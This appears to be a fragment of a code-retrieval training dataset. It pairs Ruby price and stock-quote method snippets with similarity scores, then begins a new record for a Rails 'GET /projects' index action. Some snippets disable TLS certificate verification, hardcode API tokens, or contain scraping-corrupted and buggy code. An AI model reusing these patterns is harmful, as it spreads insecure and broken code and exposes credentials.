"def last_price\n logger.info 'LAST PRICE LOAD BEGIN.'\n instruments = Instrument.select(:id, :symbol).joins(positions: :portfolio).where(portfolios: { user_id: current_user.id }).order(:symbol).distinct # Get instrument list. Added .order for WebMock testing.\n trades = DataCache.price_values(instruments, params.key?('livePrices'))\n logger.info 'LAST PRICE LOAD END.'\n render json: trades, each_serializer: TradeSerializer\n end",
"def full_price\n price + tax_evaluation\n end",
"def price\n 2.50\n end",
"def price action\n result = api_customers_command\n exchange_rate = result[:exchange_rate]\n exchange_rate.to_f\n end",
"def get_float_from_yahoo\n url = \"http://finance.yahoo.com/q/ks?s=#{ticker}\"\n doc = open_url_or_nil(url)\n\n begin\n shares = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first.text.match(/Shares Outstanding/) }.xpath('./td').last.text\n puts shares\n shares = case shares.last\n when \"B\"\n sales.chop.to_f * BILLION\n when \"M\"\n sales.chop.to_f * MILLION\n else\n sales.chop.first.to_f * BILLION\n end\n\n rescue\n end\n shares.to_i\n end",
"def price\n on_sale? ? sale_price : original_price\n end",
"def price(_currency)\n raise Sibit::NotSupportedError, 'price() doesn\\'t work here'\n end",
"def get_price\n return @data['android']['price']\n end",
"def share_prices\n stock_market.market.first\n end",
"def price\n MoneyUtils.format(self.price_basis)\n end",
"def ext_current_list_price\n (current_list_price || 0) * (qty || 0)\n end",
"def get_price_locally(symbol)\n symbol_and_prices = get_portfolio_symbols_and_prices\n symbol_and_prices.each do |symbol_and_price_object|\n symbol_and_price_object.each do |symbolmatch, price|\n if symbol === symbolmatch\n return price\n end\n end\n end\n end",
"def total_value_in_stock\n sum = 0.0\n @books_in_stock.each { |book| sum += book.price }\n sum\n end",
"def price\n return 0 unless self.persisted?\n\n return product.master.price if with_master_price?\n\n default_price.price\n end",
"def price(cur = 'USD')\n h = get_json('/ticker')[cur.upcase]\n raise Error, \"Unrecognized currency #{cur}\" if h.nil?\n h['15m']\n end",
"def calculate_stocks\n stocks = stocks_owned\n .map { |stock| {ticker: stock[0], shares: stock[1]} }\n .sort_by { |stock| stock[:ticker] }\n\n # url = \"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=#pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=\"\n # stocks.each { |stock| url += \"#{stock[:ticker]},\"}\n # response = JSON.parse(open(url).read)\n\n stocks.each_with_index do |stock, idx| \n response = JSON.parse(open(\"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=#{stock[:ticker]}\").read)\n\n \n stock[:price] = response[stock[:ticker]]['quote']['latestPrice']\n stock[:intraday] = response[stock[:ticker]]['chart']\n end\n\n stocks\n end",
"def update_values\n response_hash = run_json_http_request\n @currency = 'CNY'\n @rate = BtcExchange.get_exchange_rate @currency, 'USD'\n @last = response_hash['ticker']['last'].to_f * @rate\n @vol = response_hash['ticker']['vol'].to_f\n @high = response_hash['ticker']['high'].to_f * @rate\n @low = response_hash['ticker']['low'].to_f * @rate\n @buy = response_hash['ticker']['buy'].to_f * @rate\n @sell = response_hash['ticker']['sell'].to_f * @rate\n end",
"def price\n @price\n end",
"def price\n @price\n end",
"def price\n base_price * discount_factor\n end",
"def trade_value\n 0.4\n\n end",
"def price_in_cents\n read_attribute(:price) \n end",
"def loss_price(current_price = nil)\n price = self.price.present? ? self.price : 0.0\n current_price = current_price.present? ? current_price : self.item.current_price\n (price - current_price )\n end",
"def eth_value\n return eth_portfolio * eth_price\n end",
"def stockquote(stock)\n url = URI(\"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/v2/get-quotes?region=US&symbols=#{@stock}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-key\"] = ENV['X_RAPIDAPI_KEY']\n request[\"x-rapidapi-host\"] = 'apidojo-yahoo-finance-v1.p.rapidapi.com'\n \n response = http.request(request)\n quoteResponse = JSON.parse(response.read_body)['quoteResponse']\n result = quoteResponse['result']\n @zero = result[0]\n puts \"Symbol = #{@zero['symbol']}, Exchange = #{@zero['fullExchangeName']}, Bid = #{@zero['bid']}, Ask = #{@zero['ask']}\"\n\n return \"<div class =col>\n <h2>Symbol=<a>#{@zero['symbol']}</a></h2>\n <h4>Exchange=<a>#{@zero['fullExchangeName']}</a></h4>\n <h4>Bid=<a>#{@zero['bid']}</a></h4>\n <h4>Ask=<a>#{@zero['ask']}</a></h4>\n </div>\"\n end",
"def get_price\n @@price = 0\n self.toppings.each {|topping| @@price += topping.price}\n #puts \"Total Burger Price: $#{@price}\"\n return @@price\n end",
"def special_prices\n prices\n end",
"def lastSalesPrice(item_id)\n if item_id != nil then\n sold_status = ListingStatus.cached_listing_status_from_description('Sold')\n expired_status = ListingStatus.cached_listing_status_from_description('Expired')\n sold = SalesListing.cached_last_sold_auction(sold_status[:id], item_id, current_user.id)\n last_sold_date = SalesListing.cached_last_sold_date(sold_status[:id], item_id, current_user.id)\n expired_listing = SalesListing.cached_expired_listing(expired_status[:id], item_id, current_user.id)\n\n if sold != nil then\n if (sold.updated_at == last_sold_date.updated_at) then\n price = (sold.price * 1.1).round\n else\n price = sold.price\n end\n else if expired_listing != nil then\n if last_sold_date != nil then\n @number_of_expired = SalesListing.cached_expired_count(expired_status[:id], item_id, current_user.id, last_sold_date.updated_at)\n else\n @number_of_expired = SalesListing.cached_expired_count_overall(expired_status[:id], item_id, current_user.id)\n end\n if @number_of_expired.modulo(5) == 0 then\n price = (expired_listing.price * 0.97).round\n else\n price = expired_listing.price\n end\n else\n listed_but_not_sold = SalesListing.cached_listed_but_not_sold(expired_status[:id], item_id, current_user.id)\n if listed_but_not_sold != nil then\n price = listed_but_not_sold.price\n else\n price = 0\n end\n end\n end\n end\n end",
"def get_target\n\n\n # get the price for the last trade\n response = HTTParty.get(\"#{@@base_url}/venues/#{@venue}/stocks/#{@stock}/quote\")\n\n last = response.parsed_response[\"last\"].to_i\n\n #set the limit for the first offer as one dollar less than the last price\n limit = last - 100\n\n # Order parameters hash\n order = {\n \"account\" => @account,\n \"venue\" => @venue,\n \"symbol\" => @stock,\n \"price\" => limit,\n \"qty\" => 1,\n \"direction\" => \"buy\",\n \"orderType\" => \"limit\"\n }\n\n #make the first offer to activate the flash message in the UI\n response = HTTParty.post(\"#{@@base_url}/venues/#{@venue}/stocks/#{@stock}/orders\",\n :body => JSON.dump(order),\n :headers => {\"X-Starfighter-Authorization\" => @apikey}\n )\n\n\n # wait untill the order is closed\n id = response.parsed_response[\"id\"]\n\n status = response.parsed_response[\"open\"]\n\n while status\n\n response = HTTParty.get(\"#{@@base_url}/venues/#{@venue}/stocks/#{@stock}/orders/#{id}\",\n :headers => {\"X-Starfighter-Authorization\" => @apikey})\n\n status = response.parsed_response[\"open\"]\n\n\n end\n\n # wait a few seconds for the message in the UI to be generated\n sleep(5)\n\n # catch the treshold from the message in the UI\n response = HTTParty.get(\"https://www.stockfighter.io/gm/instances/#{@instance}\",\n :headers => {\"X-Starfighter-Authorization\" => @apikey})\n\n flash_message = response.parsed_response[\"flash\"][\"info\"]\n\n\n regex = /\\d\\d\\.\\d\\d\\.$/\n\n threshold = regex.match(flash_message).to_s.chop.to_f\n\n unless threshold\n\n puts \"There has been a problem getting the target price\"\n\n nil\n\n end\n\n puts \"Target price has been fetched\"\n\n (threshold * 100).to_i\n\n end",
"def stock_market; end",
"def buyback_price=(p)\n self.buy_price_cents = (self.string_to_float(p, :locale => self.vendor.region) * 100).round\n end",
"def get_portfolio\n return self.total_value_in_stocks + self.balance\n end",
"def get_price_of_the_product(q)\n@pricebid=nil\n$LOG.info('get_price_of_the_product');\n@CID=q[\"USER\"];\n@PID=q[\"PRODUCT\"];\n@product=get_product(@PID)\n\n$LOG.info(@PID.to_s()+' - '[email protected]_s());\n\nif (@product != nil)\n@pricebid=@product[\"DEFPRICE\"]\n@vid=@product[\"VID\"]\n\n$LOG.info(@vid.to_s()+' - '[email protected]_s());\n\n@contracts=get_contracts_by_vendor(@vid); # GET all contracts of vendor\n@contract=@contracts[@CID]\n\n$LOG.info(' contract => '[email protected]_s());\n\nif (@contract!=nil) # User has contract with vendor\n# CONTRACT EXISTS - IT'S OK TO PUT PRICE \n@prices=get_prices_for_the_product(@PID) \n@pricebid=nil;\nif (@prices != nil)\n@pricebid0=@prices[@CID]\nif (@pricebid0 != nil)\n@pricebid=@pricebid0\nend\nend\nend\n\n\n \nend\n\n$LOG.info(' RESULT => '[email protected]_s());\n\n@pricebid\nend",
"def parse_price(stock_data)\n stock_data.map { |price| price.close.to_f.round(2) }\n end",
"def price(currency = 'USD')\n best_of('price') do |api|\n api.price(currency)\n end\n end",
"def price\n { 'price' => success ? '0.03' : '0.00' }\n end",
"def my_price\n envisage_to_my_price\n end",
"def call_api\n url = \"#{@base_uri}/stock\"\n params = {symbol: @symbol, api_token: @api_key}\n\n if @exchange\n params[:stock_exchange] = @exchange\n end\n\n Lita.logger.debug \"call_api: #{url} #{params.inspect}\"\n\n @response = RestClient.get url, {params: params}\n\n Lita.logger.debug \"response: #{@response}\"\n end",
"def get_price_on(date)\n \turl = \"https://s3-us-west-2.amazonaws.com/bloombergrisk/historical_data/SP500/\" + self.symbol + \"+US+Equity_data.txt\"\n \tf = open(url).read().split(\"\\n\")\n\n \ti = 0\n \tf.each do |line|\n \t\tdata_date = line.split(\",\")[0]\n \t\tprice = line.split(\",\")[1].strip.to_f\n\n \t\tif date == data_date\n \t\t\treturn price\n \t\tend\n\n \t\t# If we have already passed the date\n \t\tif Metric.date_gt(data_date, date)\n \t\t\tbreak\n \t\tend\n\n \t\ti += 1\n \tend\n\n \t# Get the closest price\n \tclosest = f[i]\n \treturn closest.split(\",\")[1].strip.to_f\n end",
"def get_price_of_bitcoin\n data = get_data_from_website(BLOCKCHAIN_WEBSITE)\n price = get_price_in_usd(data)\n # This converts the string to a floating point number\n # Another conversion instruction is to_i (integer)\n price.to_f\nend",
"def price\n total\n end",
"def calculate_price_with_vat\n if @tax and self.price\n if User.current and User.current.currency\n converted_price = (self.price.to_d / User.current.currency.exchange_rate.to_d).to_d\n else\n converted_price = self.price\n end\n price_with_vat = @tax.apply_tax(converted_price)\n return price_with_vat\n else\n nil\n end\n end",
"def find_rate()\n uri_string = \"https://free.currconv.com/api/v7/convert?q=GBP_\"\\\n \"#{@currency}&compact=ultra&apiKey=2d46a9b5b650dca0dbb1\"\n uri = URI(uri_string)\n res = Net::HTTP.get_response(uri)\n return(JSON.parse(res.body)[\"GBP_#{@currency}\"]/100.0)\n end"
] | [
"0.75771594",
"0.7495745",
"0.7484023",
"0.74617255",
"0.74582183",
"0.7453657",
"0.736764",
"0.73673195",
"0.72513604",
"0.72068346",
"0.71183693",
"0.70902747",
"0.7035769",
"0.70315003",
"0.7007922",
"0.69708025",
"0.69638246",
"0.69354945",
"0.69176143",
"0.6917052",
"0.6862574",
"0.6859817",
"0.6844431",
"0.6834598",
"0.6819701",
"0.6810016",
"0.6807592",
"0.6800545",
"0.67887866",
"0.67701596",
"0.6765811",
"0.6761869",
"0.6755542",
"0.67498016",
"0.6742364",
"0.67409027",
"0.6712962",
"0.6709337",
"0.6685208",
"0.6662064",
"0.6649479",
"0.66416097",
"0.66351676",
"0.66317034",
"0.6591129",
"0.65911084",
"0.65773433",
"0.6572334",
"0.6571103",
"0.6562129",
"0.6562129",
"0.6552831",
"0.6550444",
"0.6549457",
"0.6548937",
"0.654793",
"0.6525811",
"0.65147257",
"0.65142703",
"0.6492824",
"0.6489669",
"0.648295",
"0.64664716",
"0.6461507",
"0.645666",
"0.6449352",
"0.6447407",
"0.6441531",
"0.6424861",
"0.6405023",
"0.6403804",
"0.640055",
"0.6389917",
"0.6381918",
"0.6380495",
"0.6380495",
"0.6375176",
"0.6374561",
"0.6371587",
"0.63670534",
"0.63663924",
"0.6364977",
"0.6364441",
"0.6340323",
"0.6336394",
"0.6328767",
"0.63278514",
"0.6323533",
"0.632174",
"0.6312064",
"0.63087887",
"0.63038063",
"0.626543",
"0.6265163",
"0.62614167",
"0.62614083",
"0.6257528",
"0.6255902",
"0.62531936",
"0.6250907"
] | 0.7173752 | 10 |
GET /projects GET /projects.json | def index
@projects = Project.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def listprojects\n get('listprojects.json')['projects']\n end",
"def list\n get 'projects'\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def projects\n resource 'projects'\n end",
"def projects(params = {})\n make_get_request('/account/projects', params)\n end",
"def projects\n Sifter.\n get(\"/api/projects\").\n parsed_response[\"projects\"].\n map { |p| Sifter::Project.new(p) }\n end",
"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def get_projects\n me = request('/services/v5/me')\n me['projects']\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def projects\n return forbidden unless current_account # already returns a 401 if credentials aren't supplied\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'projects' => Project.accessible(current_account).map {|p| p.canonical(opts) } }\n render_cross_origin_json\n end",
"def projects\n records \"project\", \"/project/list\"\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
"def projects(params = {})\n fetch_all('projects', 'projects', params)\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def all_projects()\n @endpoint = \"/projects.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"projects\"].sort_by { |proj| proj[\"name\"] }\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def projects(options = {})\n get(\"projects\", options).projects\n end",
"def list_projects\n handle_action_exceptions(__method__) do\n cmd_line = ['listprojects']\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def projects(req_params = {})\n name = 'Projects'\n params = { req: req_params }\n\n data = endpoint(name: name, params: params).do_get\n\n collection name, data\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.with_permissions_to(:read)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def projects\n @projects ||= Harvest::API::Projects.new(credentials)\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def index\n @projects = Project.order_by_company_and_project.paginate(page: params[:page] || 1, per_page: helpers.pager_per_page)\n respond_to do |format|\n message = @projects.present? ? \"\" : \"There are no projects available at this time\"\n format.json do\n status = @projects.present? ? :ok : :not_found\n render json: { response: @projects, status: status, message: message }\n end\n format.html do\n # Only authorize html format, json is okay because we use it as\n # an api.\n authorize(:project)\n flash[:alert] = message unless message.blank?\n @projects\n end\n end\n end",
"def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectsApi.get_projects ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Projects')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show_all_projects\r\n json = GoodData.get GoodData.profile.projects\r\n puts \"You have this project available:\"\r\n json[\"projects\"].map do |project|\r\n pid = project[\"project\"][\"links\"][\"roles\"].to_s\r\n puts \"Project name: #{project[\"project\"][\"meta\"][\"title\"].bright} Project PID: #{pid.match(\"[^\\/]{32}\").to_s.bright}\"\r\n end\r\n end",
"def init_projects\n @projects = []\n\n response = @conn.get do |req|\n req.url \"/api/v1/projects\"\n req.headers = rest_headers\n end\n\n @projects = json(response.body)[:projects]\n end",
"def projects\n @projects ||= begin\n http = Net::HTTP.new(API_HOST, API_PORT)\n http.use_ssl = true\n http.ca_file = (Twigg.root + 'files' + 'github.pem').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n uri = ORG_REPOS_ENDPOINT % Config.github.organization\n headers = { 'Authorization' => \"token #{Config.github.token}\" }\n\n [].tap do |names|\n begin # loop: page through project list\n request = Net::HTTP::Get.new(uri, headers)\n response = http.request(request)\n raise \"Bad response #{response.inspect}\" unless response.is_a?(Net::HTTPOK)\n names.concat JSON[response.body].map { |repo| repo['name'] }\n uri = parse_link(response['Link'])\n end until uri.nil?\n end\n end\n end",
"def projects\n @projects = Project.order(created_at: :desc).page(@page).per(10)\n respond_to do |format|\n format.html\n format.js { render :projects}\n end\n end",
"def list_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'ListProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :project_owner\n\t\t\targs[:query]['ProjectOwner'] = optional[:project_owner]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n\t\tif present_user.role? 'admin'\n\t\t\t@projects = Project.all\n\t\telse\n\t\t\t@projects = present_user.projects\n\t\tend\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @projects }\n\t\tend\n\tend",
"def show\n @projects = find_projects\n end",
"def index\n projects = current_user.admin_projects.paginate(:page => params[:page])\n render json: projects\n end",
"def list\r\n @projects = Project.where(user:current_user).order(created_at: :desc).page(params[:page])\r\n respond_with(@projects)\r\n end",
"def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end",
"def index\n @user = get_user\n @projects = Project.all\n # render :inline => @projects.to_json\n end",
"def project\n request :project\n end",
"def listProjects \n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/1/projects')\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}\n r = http.get(uri.path, headers)\n return r.body.force_encoding(\"UTF-8\")\n\nend",
"def show\n\n render json: Project.all\n\n end",
"def available_projects_list\n uri = \"#{@api_url}?access_token=#{@access_token}\"\n get uri\n end",
"def index\n @projects = current_user.active_projects.includes(:project_errors)\n @project_invitations = current_user.user_projects.pending\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end",
"def list_projects # :nologin:\n query = create_query(:Project, :all, :by => :title)\n show_selected_projects(query)\n end",
"def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end",
"def show\n render json: @project\n end",
"def projects\n @projects\n end",
"def index\n @projects = @projects.includes(:latest_iteration).where(:tenant_id => current_user.tenant).order(\"name\").page(params[:page]).per(DEFAULT_ROWS_PER_PAGE)\n\n respond_with @projects\n end",
"def projects\n Harvest::Resources::Project\n end",
"def index\n @projects = Service::JIRA.projects\n respond_with(@projects) do |format|\n format.json { render json: @projects.to_a.sort_by(&:name).map(&:attrs).to_json }\n end\n end",
"def project(project_id, query_params = nil)\n get(\"/projects/#{project_id}\", query_params)\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProjectsApi#get_projects ...\"\n end\n \n # resource path\n path = \"/Projects\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIProject>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @projects = @namespace.projects.all\n end",
"def projects\n tmp = client.get @json['user']['links']['projects']\n tmp['projects'].map do |project_meta|\n project_uri = project_meta['project']['links']['self']\n project = client.get project_uri\n client.factory.create(GoodData::Project, project)\n end\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_projects ...'\n end\n # resource path\n local_var_path = '/v1/project'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'excludeInactive'] = opts[:'exclude_inactive'] if !opts[:'exclude_inactive'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Project>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n\t\t@projects = Project.all\n\tend",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end",
"def index_participating\n projects = current_user.projects.paginate(:page => params[:page])\n render json: projects\n end",
"def list_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'ListProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :project_owner\n\t\t\targs[:query]['ProjectOwner'] = optional[:project_owner]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project\n return forbidden unless current_account and params[:id] and (request.format.json? || request.format.js? || request.format.text?)\n project = Project.accessible(current_account).find(params[:id].to_i)\n return not_found unless project\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'project' => project.canonical(opts)}\n render_cross_origin_json\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def list_projects(company_id: )\n url = \"#{@base_url}/vapid/projects?company_id=#{company_id}\"\n HTTParty.get(url, headers: procore_headers(token: @customer_info[:token], company_id: @customer_info[:company_id] )).parsed_response\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\n @projects = current_user.projects\n end",
"def index\r\n @projects = current_user.projects\r\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def projects\n PivotalTracker::Project.all\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def get_projects\n @params=task_params\n @client=current_user.clients.find(@params[:client_id])\n counter=0\n @res=[]\n @client.projects.each do |c|\n if c.users.include? current_user\n @res[counter]={\n project_id: c.id, \n name: c.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end",
"def projects\n @projects ||= begin\n user = api('user')\n api(\"users/#{user['id']}/projects\").sort_by { |p| p['id'] }\n end\nend",
"def show\n @projects = Project.all\n end",
"def list_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QcApi.list_projects ...\"\n end\n # resource path\n local_var_path = \"/projects.json\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Project>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QcApi#list_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end"
] | [
"0.85753775",
"0.8387346",
"0.8356146",
"0.8062963",
"0.8037377",
"0.8002495",
"0.78579885",
"0.7833898",
"0.7831125",
"0.78001004",
"0.7779268",
"0.7748593",
"0.7714022",
"0.7700959",
"0.7695963",
"0.76947564",
"0.76947564",
"0.76947564",
